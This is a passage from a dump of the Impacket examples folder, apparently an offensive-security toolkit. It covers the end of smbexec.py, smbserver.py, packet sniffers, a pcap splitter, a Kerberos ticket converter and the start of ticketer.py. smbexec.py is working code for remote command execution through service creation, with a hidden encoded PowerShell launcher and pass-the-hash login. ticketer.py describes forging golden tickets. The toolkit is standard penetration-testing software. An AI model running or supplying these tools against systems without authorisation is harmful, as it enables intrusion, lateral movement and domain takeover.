self.__share + '\\\\' + OUTPUT_FILENAME\n        self.__outputBuffer = b''\n        self.__command = ''\n        self.__shell = '%COMSPEC% /Q /c '\n        self.__shell_type = shell_type\n        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '\n        self.__serviceName = serviceName\n        self.__rpc = rpc\n        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'\n\n        self.__scmr = rpc.get_dce_rpc()\n        try:\n            self.__scmr.connect()\n        except Exception as e:\n            logging.critical(str(e))\n            sys.exit(1)\n\n        s = rpc.get_smb_connection()\n\n        # We don't wanna deal with timeouts from now on.\n        s.setTimeout(100000)\n        if mode == 'SERVER':\n            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]\n            self.__copyBack = 'copy %s \\\\\\\\%s\\\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)\n\n        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n        resp = scmr.hROpenSCManagerW(self.__scmr)\n        self.__scHandle = resp['lpScHandle']\n        self.transferClient = rpc.get_smb_connection()\n        self.do_cd('')\n\n    def finish(self):        \n        # Just in case the ouput file is still in the share\n        try:\n            self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)\n        except:\n            pass\n        \n        # Just in case the service is still created\n        try:\n           self.__scmr = self.__rpc.get_dce_rpc()\n           self.__scmr.connect()\n           self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n           resp = scmr.hROpenSCManagerW(self.__scmr)\n           self.__scHandle = resp['lpScHandle']\n           resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)\n           service = resp['lpServiceHandle']\n           scmr.hRDeleteService(self.__scmr, service)\n           scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)\n           scmr.hRCloseServiceHandle(self.__scmr, service)\n        except scmr.DCERPCException:\n           pass\n\n    def do_shell(self, s):\n        os.system(s)\n\n    def do_exit(self, s):\n        return True\n\n    def do_EOF(self, s):\n        print()\n        return self.do_exit(s)\n\n    def emptyline(self):\n        return False\n\n    def do_cd(self, s):\n        # We just can't CD or maintain track of the target dir.\n        if len(s) > 0:\n            logging.error(\"You can't CD under SMBEXEC. Use full paths.\")\n\n        self.execute_remote('cd ' )\n        if len(self.__outputBuffer) > 0:\n            # Stripping CR/LF\n            self.prompt = self.__outputBuffer.decode().replace('\\r\\n','') + '>'\n            if self.__shell_type == 'powershell':\n                self.prompt = 'PS ' + self.prompt + ' '\n            self.__outputBuffer = b''\n\n    def do_CD(self, s):\n        return self.do_cd(s)\n\n    def default(self, line):\n        if line != '':\n            self.send_data(line)\n\n    def get_output(self):\n        def output_callback(data):\n            self.__outputBuffer += data\n\n        if self.__mode == 'SHARE':\n            self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)\n            self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)\n        else:\n            fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'rb')\n            output_callback(fd.read())\n            fd.close()\n            os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)\n\n    def execute_remote(self, data, shell_type='cmd'):\n        if shell_type == 'powershell':\n            data = '$ProgressPreference=\"SilentlyContinue\";' + data\n            data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()\n\n        batchFile = '%SYSTEMROOT%\\\\' + ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.bat'\n                \n        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + batchFile + ' & ' + \\\n                  self.__shell + batchFile\n\n        if self.__mode == 'SERVER':\n            command += ' & ' + self.__copyBack\n        command += ' & ' + 'del ' + batchFile\n\n        logging.debug('Executing %s' % command)\n        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,\n                                     lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)\n        service = resp['lpServiceHandle']\n\n        try:\n           scmr.hRStartServiceW(self.__scmr, service)\n        except:\n           pass\n        scmr.hRDeleteService(self.__scmr, service)\n        scmr.hRCloseServiceHandle(self.__scmr, service)\n        self.get_output()\n\n    def send_data(self, data):\n        self.execute_remote(data, self.__shell_type)\n        try:\n            print(self.__outputBuffer.decode(CODEC))\n        except UnicodeDecodeError:\n            logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                          'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand then execute smbexec.py '\n                          'again with -codec and the corresponding codec')\n            print(self.__outputBuffer.decode(CODEC, errors='replace'))\n        self.__outputBuffer = b''\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from '\n                                                                       '(default C$)')\n    parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',\n                        help='mode to use (default SHARE, SERVER needs root!)')\n    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '\n                          'again with -codec and the corresponding codec ' % CODEC)\n    parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '\n                        'a command processor for the semi-interactive shell')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\", help='IP Address of the domain controller. '\n                       'If omitted it will use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. If '\n                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '\n                       'name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n    group.add_argument('-service-name', action='store', metavar=\"service_name\", help='The name of the'\n                                         'service used to trigger the payload')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.codec is not None:\n        CODEC = options.codec\n    else:\n        if CODEC is None:\n            CODEC = 'utf-8'\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.keytab is not None:\n        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if options.aesKey is not None:\n        options.k = True\n\n    try:\n        executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,\n                           options.mode, options.share, int(options.port), options.service_name, options.shell_type)\n        executer.run(remoteName, options.target_ip)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.critical(str(e))\n    sys.exit(0)\n"
  },
  {
    "path": "examples/smbserver.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple SMB Server example.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nimport sys\nimport argparse\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket import smbserver, version\nfrom impacket.ntlm import compute_lmhash, compute_nthash\n\nif __name__ == '__main__':\n\n    # Init the example's logger theme\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"This script will launch a SMB Server and add a \"\n                                     \"share specified as an argument. Usually, you need to be root in order to bind to port 445. \"\n                                     \"For optional authentication, it is possible to specify username and password or the NTLM hash. \"\n                                     \"Example: smbserver.py -comment 'My share' TMP /tmp\")\n\n    parser.add_argument('shareName', action='store', help='name of the share to add')\n    parser.add_argument('sharePath', action='store', help='path of the share to add')\n    parser.add_argument('-comment', action='store', help='share\\'s comment to display when asked for shares')\n    parser.add_argument('-username', action=\"store\", help='Username to authenticate clients')\n    parser.add_argument('-password', action=\"store\", help='Password for the Username')\n    parser.add_argument('-computeraccountname', action=\"store\", help='computer account name to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-computeraccounthash', action=\"store\", help='computer account NT hash to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-computeraccountaes', action=\"store\", help='computer account AES key to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-computeraccountpassword', action=\"store\", help='computer account NT hash to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-computeraccountdomain', action=\"store\", help='computer account domain to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-dc-ip', action=\"store\", help='IP of domain controller to authenticate arbitrary clients with signing via NetLogon/Kerberos')\n    parser.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes for the Username, format is LMHASH:NTHASH')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ip', '--interface-address', action='store', default=argparse.SUPPRESS, help='ip address of listening interface (\"0.0.0.0\" or \"::\" if omitted)')\n    parser.add_argument('-readonly', action='store_true', help='Only allow reading of files')\n    parser.add_argument('-disablekerberos', action='store_true', help='Do not offer Kerberos authentication')\n    parser.add_argument('-disablentlm', action='store_true', help='Do not offer NTLM authentication')\n    parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')\n    parser.add_argument('-dropssp', action='store_true', default=False, help='Disable NTLM ESS/SSP during negotiation')\n    parser.add_argument('-6','--ipv6', action='store_true',help='Listen on IPv6')\n    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')\n    parser.add_argument('-outputfile', action='store', default=None, help='Output file to log smbserver output messages')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    try:\n       options = parser.parse_args()\n    except Exception as e:\n       logging.critical(str(e))\n       sys.exit(1)\n\n    logger.init(options.ts, options.debug)\n\n    if options.comment is None:\n        comment = ''\n    else:\n        comment = options.comment\n\n    if 'interface_address' not in options:\n        options.interface_address = '::' if options.ipv6 else '0.0.0.0'\n\n    server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port), ipv6=options.ipv6)\n\n    if options.outputfile:\n        logging.info('Switching output to file %s' % options.outputfile)\n        server.setLogFile(options.outputfile)\n\n    server.addShare(options.shareName.upper(), options.sharePath, comment, readOnly=\"yes\" if options.readonly else \"no\")\n    server.setSMB2Support(options.smb2support)\n    server.setDropSSP(options.dropssp)\n    server.setKerberosSupport(not options.disablekerberos)\n    server.setNTLMSupport(not options.disablentlm)\n\n    # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous\n    # connections will be allowed\n    if options.username is not None:\n        # we either need a password or hashes, if not, ask\n        if options.password is None and options.hashes is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n            # Let's convert to hashes\n            lmhash = compute_lmhash(password)\n            nthash = compute_nthash(password)\n        elif options.password is not None:\n            lmhash = compute_lmhash(options.password)\n            nthash = compute_nthash(options.password)\n        else:\n            lmhash, nthash = options.hashes.split(':')\n\n        server.addCredential(options.username, 0, lmhash, nthash)\n\n    # If we want clients to be able to connect to us which enforce signing, we need a computer account to properly setup the connection\n    # Only works with SMB2\n    required_secure_server_options = [options.computeraccountname, options.computeraccountdomain, options.dc_ip]\n    at_least_one_secure_server_options = [options.computeraccounthash, options.computeraccountaes, options.computeraccountpassword]\n    if any(required_secure_server_options):\n        if options.username:\n            logging.critical(\"You cannot use account credentials AND computer account credentials at the same time\")\n            sys.exit(1)\n        if not all(required_secure_server_options):\n            logging.critical(\"All of the following options need to be set for accepting signed connections from arbitrary users in the domain: -computeraccountname, -computeraccountdomain, -dc-ip\")\n            sys.exit(1)\n        if not any(at_least_one_secure_server_options):\n            logging.critical(\"At least one of the following options need to be set for accepting signed connections from arbitrary users in the domain: -computeraccounthash, -computeraccountaes, -computeraccountpassword\")\n            sys.exit(1)\n        server.setComputerAccount(options.computeraccountname, options.computeraccounthash, options.computeraccountaes, options.computeraccountpassword, options.computeraccountdomain, options.dc_ip)\n\n    # Here you can set a custom SMB challenge in hex format\n    # If empty defaults to '4141414141414141'\n    # (remember: must be 16 hex bytes long)\n    # e.g. server.setSMBChallenge('12345678abcdef00')\n    server.setSMBChallenge('')\n\n    # Rock and roll\n    try:\n        server.start()\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted, exiting...\")\n        sys.exit(130)\n"
  },
  {
    "path": "examples/sniff.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple packet sniffer.\n#\n#   This packet sniffer uses the pcap library to listen for packets in\n#   transit over the specified interface. The returned packages can be\n#   filtered according to a BPF filter (see tcpdump(3) for further\n#   information on BPF filters).\n#\n#   Note that the user might need special permissions to be able to use pcap.\n#\n# Authors:\n#   Maximiliano Caceres\n#   Javier Kohen\n#\n# Reference for:\n#   pcapy: findalldevs, open_live\n#   ImpactDecoder\n#\n\nimport sys\nfrom threading import Thread\nimport pcapy\nfrom pcapy import findalldevs, open_live\nfrom impacket import version\n\nfrom impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder\n\n\nclass DecoderThread(Thread):\n    def __init__(self, pcapObj):\n        # Query the type of the link and instantiate a decoder accordingly.\n        datalink = pcapObj.datalink()\n        if pcapy.DLT_EN10MB == datalink:\n            self.decoder = EthDecoder()\n        elif pcapy.DLT_LINUX_SLL == datalink:\n            self.decoder = LinuxSLLDecoder()\n        else:\n            raise Exception(\"Datalink type not supported: \" % datalink)\n\n        self.pcap = pcapObj\n        Thread.__init__(self)\n\n    def run(self):\n        # Sniff ad infinitum.\n        # PacketHandler shall be invoked by pcap for every packet.\n        self.pcap.loop(0, self.packetHandler)\n\n    def packetHandler(self, hdr, data):\n        # Use the ImpactDecoder to turn the rawpacket into a hierarchy\n        # of ImpactPacket instances.\n        # Display the packet in human-readable form.\n        print(self.decoder.decode(data))\n\n\ndef getInterface():\n    # Grab a list of interfaces that pcap is able to listen on.\n    # The current user will be able to listen from all returned interfaces,\n    # using open_live to open them.\n    ifs = findalldevs()\n\n    # No interfaces available, abort.\n    if 0 == len(ifs):\n        print(\"You don't have enough permissions to open any interface on this system.\")\n        sys.exit(1)\n\n    # Only one interface available, use it.\n    elif 1 == len(ifs):\n        print('Only one interface present, defaulting to it.')\n        return ifs[0]\n\n    # Ask the user to choose an interface from the list.\n    count = 0\n    for iface in ifs:\n        print('%i - %s' % (count, iface))\n        count += 1\n    idx = int(input('Please select an interface: '))\n\n    return ifs[idx]\n\ndef main(filter):\n    print(version.DEPRECATION_WARNING_BANNER)\n    dev = getInterface()\n\n    # Open interface for catpuring.\n    p = open_live(dev, 1500, 0, 100)\n\n    # Set the BPF filter. See tcpdump(3).\n    p.setfilter(filter)\n\n    print(\"Listening on %s: net=%s, mask=%s, linktype=%d\" % (dev, p.getnet(), p.getmask(), p.datalink()))\n\n    # Start sniffing thread and finish main thread.\n    DecoderThread(p).start()\n\n# Process command-line arguments. Take everything as a BPF filter to pass\n# onto pcap. Default to the empty filter (match all).\nfilter = ''\nif len(sys.argv) > 1:\n    filter = ' '.join(sys.argv[1:])\n\nmain(filter)\n"
  },
  {
    "path": "examples/sniffer.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple packet sniffer.\n#\n#   This packet sniffer uses a raw socket to listen for packets\n#   in transit corresponding to the specified protocols.\n#\n#   Note that the user might need special permissions to be able to use\n#   raw sockets.\n#\n# Authors:\n#   Gerardo Richarte (@gerasdf)\n#   Javier Kohen\n#\n# Reference for:\n#   ImpactDecoder\n#\n\nfrom select import select\nimport socket\nimport sys\n\nfrom impacket import ImpactDecoder\n\nDEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')\n\nif len(sys.argv) == 1:\n    toListen = DEFAULT_PROTOCOLS\n    print(\"Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s <proto1> [proto2] ...\" % sys.argv[0])\nelse:\n    toListen = sys.argv[1:]\n\n# Open one socket for each specified protocol.\n# A special option is set on the socket so that IP headers are included with\n# the returned data.\nsockets = []\nfor protocol in toListen:\n    try:\n        protocol_num = socket.getprotobyname(protocol)\n    except socket.error:\n        print(\"Ignoring unknown protocol:\", protocol)\n        toListen.remove(protocol)\n        continue\n    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)\n    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n    sockets.append(s)\n\nif 0 == len(toListen):\n    print(\"There are no protocols available.\")\n    sys.exit(0)\n\nprint(\"Listening on protocols:\", toListen)\n\n# Instantiate an IP packets decoder.\n# As all the packets include their IP header, that decoder only is enough.\ndecoder = ImpactDecoder.IPDecoder()\n\nwhile len(sockets) > 0:\n    # Wait for an incoming packet on any socket.\n    ready = select(sockets, [], [])[0]\n    for s in ready:\n        packet = s.recvfrom(4096)[0]\n        if 0 == len(packet):\n            # Socket remotely closed. Discard it.\n            sockets.remove(s)\n            s.close()\n        else:\n            # Packet received. Decode and display it.\n            packet = decoder.decode(packet)\n            print(packet)\n"
  },
  {
    "path": "examples/split.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Pcap dump splitter\n#\n#   This tools splits pcap capture files into smaller ones, one for each\n#   different TCP/IP connection found in the original.\n#\n# Authors:\n#   Alejandro D. Weil\n#   Javier Kohen\n#\n# Reference for:\n#   pcapy: open_offline, pcapdumper\n#   ImpactDecoder\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport pcapy\nfrom pcapy import open_offline\nfrom impacket import version\n\nfrom impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder\n\n\nclass Connection:\n    \"\"\"This class can be used as a key in a dictionary to select a connection\n    given a pair of peers. Two connections are considered the same if both\n    peers are equal, despite the order in which they were passed to the\n    class constructor.\n    \"\"\"\n\n    def __init__(self, p1, p2):\n        \"\"\"This constructor takes two tuples, one for each peer. The first\n        element in each tuple is the IP address as a string, and the\n        second is the port as an integer.\n        \"\"\"\n\n        self.p1 = p1\n        self.p2 = p2\n\n    def getFilename(self):\n        \"\"\"Utility function that returns a filename composed by the IP\n        addresses and ports of both peers.\n        \"\"\"\n        return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])\n\n    def __cmp__(self, other):\n        if ((self.p1 == other.p1 and self.p2 == other.p2)\n            or (self.p1 == other.p2 and self.p2 == other.p1)):\n            return 0\n        else:\n            return -1\n\n    def __hash__(self):\n        return (hash(self.p1[0]) ^ hash(self.p1[1])\n                ^ hash(self.p2[0]) ^ hash(self.p2[1]))\n\n\nclass Decoder:\n    def __init__(self, pcapObj):\n        # Query the type of the link and instantiate a decoder accordingly.\n        datalink = pcapObj.datalink()\n        if pcapy.DLT_EN10MB == datalink:\n            self.decoder = EthDecoder()\n        elif pcapy.DLT_LINUX_SLL == datalink:\n            self.decoder = LinuxSLLDecoder()\n        else:\n            raise Exception(\"Datalink type not supported: \" % datalink)\n\n        self.pcap = pcapObj\n        self.connections = {}\n\n    def start(self):\n        # Sniff ad infinitum.\n        # PacketHandler shall be invoked by pcap for every packet.\n        self.pcap.loop(0, self.packetHandler)\n\n    def packetHandler(self, hdr, data):\n        \"\"\"Handles an incoming pcap packet. This method only knows how\n        to recognize TCP/IP connections.\n        Be sure that only TCP packets are passed onto this handler (or\n        fix the code to ignore the others).\n\n        Setting r\"ip proto \\tcp\" as part of the pcap filter expression\n        suffices, and there shouldn't be any problem combining that with\n        other expressions.\n        \"\"\"\n\n        # Use the ImpactDecoder to turn the rawpacket into a hierarchy\n        # of ImpactPacket instances.\n        p = self.decoder.decode(data)\n        ip = p.child()\n        tcp = ip.child()\n\n        # Build a distinctive key for this pair of peers.\n        src = (ip.get_ip_src(), tcp.get_th_sport() )\n        dst = (ip.get_ip_dst(), tcp.get_th_dport() )\n        con = Connection(src,dst)\n\n        # If there isn't an entry associated yetwith this connection,\n        # open a new pcapdumper and create an association.\n        if ('%s%s' % (con.p1, con.p2)) not in self.connections:\n            fn = con.getFilename()\n            print(\"Found a new connection, storing into:\", fn)\n            try:\n                dumper = self.pcap.dump_open(fn)\n            except pcapy.PcapError:\n                print(\"Can't write packet to:\", fn)\n                return\n            self.connections['%s%s' % (con.p1, con.p2)] = dumper\n\n        # Write the packet to the corresponding file.\n        self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data)\n\n\n\ndef main(filename):\n    # Open file\n    p = open_offline(filename)\n\n    # At the moment the callback only accepts TCP/IP packets.\n    p.setfilter(r'ip proto \\tcp')\n\n    print(\"Reading from %s: linktype=%d\" % (filename, p.datalink()))\n\n    # Start decoding process.\n    Decoder(p).start()\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.DEPRECATION_WARNING_BANNER)\n    if len(sys.argv) <= 1:\n        print(\"Usage: %s <filename>\" % sys.argv[0])\n        sys.exit(1)\n\n    main(sys.argv[1])\n"
  },
  {
    "path": "examples/ticketConverter.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket,\n#   and vice versa.\n#\n#   Examples:\n#       ./ticket_converter.py admin.ccache admin.kirbi\n#       ./ticket_converter.py admin.kirbi admin.ccache\n#\n# Author:\n#   Zer1t0 (https://github.com/Zer1t0)\n#\n# References:\n#   - https://tools.ietf.org/html/rfc4120\n#   - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html\n#   - https://github.com/gentilkiwi/kekeo\n#   - https://github.com/rvazarkar/KrbCredExport\n#\n\nimport os\nimport argparse\nimport base64\nimport struct\nimport tempfile\n\nfrom impacket import version\nfrom impacket.krb5.ccache import CCache\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('input_file', help=\"File in kirbi (KRB-CRED) or ccache format\")\n    parser.add_argument('output_file', help=\"Output file\")\n    parser.add_argument(\n        '-b', '--base64', action='store_true', help=\"Decode input ticket from base64 with unwrap support\"\n    )\n    return parser.parse_args()\n\n\ndef main():\n    print(version.BANNER)\n\n    args = parse_args()\n\n    if args.base64:\n        decoded_file = tempfile.NamedTemporaryFile(mode='w+b', delete=False)\n        print('[*] base64 decoding ticket')\n        decoded_file.write(base64_decode_with_unwrap(args.input_file))\n        decoded_file.flush()\n    \n    input_file = decoded_file.name if args.base64 else args.input_file\n\n    if is_kirbi_file(input_file):\n        print('[*] converting kirbi to ccache...')\n        convert_kirbi_to_ccache(input_file, args.output_file)\n        print('[+] done')\n    elif is_ccache_file(input_file):\n        print('[*] converting ccache to kirbi...')\n        convert_ccache_to_kirbi(input_file, args.output_file)\n        print('[+] done')\n    else:\n        print('[X] unknown file format')\n    \n    # Cleanup manually to avoid issues with Windows delete permissions\n    if args.base64:\n        try:\n            decoded_file.close()\n            os.unlink(decoded_file.name)\n        except PermissionError:\n            print('[!] Failed to clean temporary files due to PermissionError')\n\n\ndef is_kirbi_file(filename):\n    with open(filename, 'rb') as fi:\n        fileid = struct.unpack(\">B\", fi.read(1))[0]\n    return fileid == 0x76\n\n\ndef is_ccache_file(filename):\n    with open(filename, 'rb') as fi:\n        fileid = struct.unpack(\">B\", fi.read(1))[0]\n    return fileid == 0x5\n\n\ndef convert_kirbi_to_ccache(input_filename, output_filename):\n    ccache = CCache.loadKirbiFile(input_filename)\n    ccache.saveFile(output_filename)\n\n\ndef convert_ccache_to_kirbi(input_filename, output_filename):\n    ccache = CCache.loadFile(input_filename)\n    ccache.saveKirbiFile(output_filename)\n\n\ndef base64_decode_with_unwrap(input_filename):\n    with open(input_filename, 'r', encoding='latin-1') as f:\n        data = ''.join(f.read().strip().splitlines())\n        data = base64.b64decode(data.encode('latin-1'))\n\n    return data\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/ticketer.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)\n#   allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the\n#   groups, extrasids, etc.\n#   Tickets duration is fixed to 10 years from now (although you can manually change it)\n#\n#   Examples:\n#       ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n#\n#       will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.\n#       If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256\n#       (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as\n#       baduser.ccache.\n#\n#       ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>\n#                     -request -user <a valid domain user> -password <valid domain user's password> baduser\n#\n#       will first authenticate against the KDC (using -user/-password) and get a TGT that will be used\n#       as template for customization. Whatever encryption algorithms used on that ticket will be honored,\n#       hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved\n#       as baduser.ccache.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# References:\n#   - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:\n#     (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)\n#   - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz\n#     (https://github.com/gentilkiwi/mimikatz)\n#\n# ToDo:\n#   [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh\n#   [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport datetime\nimport logging\nimport random\nimport string\nimport struct\nimport sys\nfrom calendar import timegm\nfrom time import strptime\nfrom binascii import unhexlify\nfrom six import b\n\nfrom pyasn1.codec.der import encoder, decoder\nfrom pyasn1.type.univ import noValue\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.dtypes import RPC_SID, SID\nfrom impacket.dcerpc.v5.ndr import NDRULONG\nfrom impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \\\n    SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD\nfrom impacket.examples import logger\nfrom impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT\nfrom impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \\\n    PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \\\n    KERB_NON_KERB_CKSUM_SALT\nfrom impacket.krb5.keytab import Keytab\nfrom impacket.krb5.crypto import Key, _enctype_table\nfrom impacket.krb5.crypto import _checksum_table, Enctype\nfrom impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \\\n    PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \\\n    VALIDATION_INFO, 